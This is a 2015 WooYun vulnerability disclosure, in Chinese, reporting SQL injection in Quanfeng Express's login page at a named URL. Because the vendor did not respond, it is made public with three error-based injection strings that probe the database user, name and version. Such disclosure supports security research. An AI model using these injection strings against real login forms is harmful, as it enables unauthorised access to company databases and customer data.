当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0139769

漏洞标题：快递安全之全峰快递post注入（纯手工测试）

相关厂商：全峰快递

漏洞作者： 牛 小 帅

提交时间：2015-09-08 17:35

修复时间：2015-10-23 17:36

公开时间：2015-10-23 17:36

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-08： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-10-23： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

2333

详细说明：

1、http://www.qfkd.com.cn/setqfkd/login.aspx

ICTFF5YKM}```$[IMY8Y]BU.png


2、参数账户存在注入
测试数据库用户语句：

admin' and user>0 and ''='


`1$PD2CDFPHD5~8KE6{~68G.png


测试数据库名字语句：

admin' and db_name()>0 and ''='


PS8SHGBPFR4PUG{(NY8MB`1.png


测试数据库版本语句：

admin' and @@version>0 and ''='


K@G3`2CII6_X0WCEJ_J$OCO.png

漏洞证明：

1、http://www.qfkd.com.cn/setqfkd/login.aspx

ICTFF5YKM}```$[IMY8Y]BU.png


2、参数账户存在注入
测试数据库用户语句：

admin' and user>0 and ''='


`1$PD2CDFPHD5~8KE6{~68G.png


测试数据库名字语句：

admin' and db_name()>0 and ''='


PS8SHGBPFR4PUG{(NY8MB`1.png


测试数据库版本语句：

admin' and @@version>0 and ''='


K@G3`2CII6_X0WCEJ_J$OCO.png

修复方案：

版权声明：转载请注明来源 牛 小 帅@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2015-09-15 11:18 | 牛 小 帅 ( 普通白帽子 | Rank:483 漏洞数:117 | 茶凉了，就不要再续了，再续也不是原来的味...)

    @疯狗 @浩天 原来这个快递不是cert应急中心管的呀

  2. 2015-09-17 21:48 | 牛 小 帅 ( 普通白帽子 | Rank:483 漏洞数:117 | 茶凉了，就不要再续了，再续也不是原来的味...)

    @疯狗 @浩天 同一家快递 怎么我的是待认领 WooYun: 全峰快递 登录处可爆破密码 含大量客户信息